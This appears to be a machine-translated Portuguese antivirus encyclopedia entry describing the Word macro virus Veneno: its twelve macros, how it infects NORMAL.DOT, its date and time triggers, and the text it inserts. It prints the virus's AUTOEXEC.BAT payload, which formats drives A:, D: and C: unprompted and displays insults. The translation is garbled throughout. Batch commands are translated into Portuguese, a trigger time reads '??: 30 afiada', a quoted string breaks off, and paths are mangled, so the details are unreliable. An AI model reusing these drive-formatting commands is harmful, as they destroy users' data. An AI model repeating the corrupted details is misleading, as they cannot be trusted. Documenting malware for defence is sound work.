Virus.MSWord.Veneno

Detalhes técnicos

Este é um vírus de macro criptografado do Word que contém 12 macros: Veneno, Travel1, Travel2, Autoexec, AutoOpen, Trinitron, ArchivoAbrir, ArchivoSalir, InsertVeneno, ArchivoImprimir, ArchivoGuardarComo e ArchivoImprimirPredeter.

O vírus infecta a área de macros globais (NORMAL.DOT) após a abertura de um documento infectado ou inicialização do Word (AutoOpen, AutoExec) e grava a si mesmo em documentos que são salvos com um novo nome (?) – a macro ArchivoGuardarComo.

O vírus detecta e remove macros de vários outros vírus.

Em ??: 30 afiada, o vírus derruba o vírus do DOS no arquivo ATTRIB.COM. Na sexta-feira e no sábado, se a hora do sistema (minutos) for menor que 5 minutos após a hora, o vírus insere a string "** V Ao imprimir, se a hora do sistema for maior que 57, o vírus anexará o seguinte texto ao final do documento:

Finalmente me gustaria agregar que …

O Centro de Computo desta Universidade é um verdadera verguenza, não

nos merecido este servicio.

>>> Que vergonha !!! <<<

Um amigo desesperado em busca de …

Khelia Monica Salda ~ a Diaz, me encantas e te sigo buscando …

+ Donde te tem escondido? Atte. Tu enamorado. (LoVe90 / 91)

AUTOEXEC.BAT:

@echo off

CAMINHO = C:; C: DOS; C: WINDOWS; C: ODI;

Eco.

Eco Insira um disquete na unidade A:

Eco Pressione qualquer tecla para continuar …

pausa> nul

Formato a: / autotest> nul

se errorlevel 0 goto End

Formato d: / autoteste

Formato c: / autoteste

Echo U r FuCkEd!

Eco.

:fim

Echo Ur mamãe deve estar muito feliz de ter um garoto tão g00d / obediente …

jaja..asswipe !!!

SHELL = C: DOSCOMMAND.COM / F / P

SWITCHES = / n / f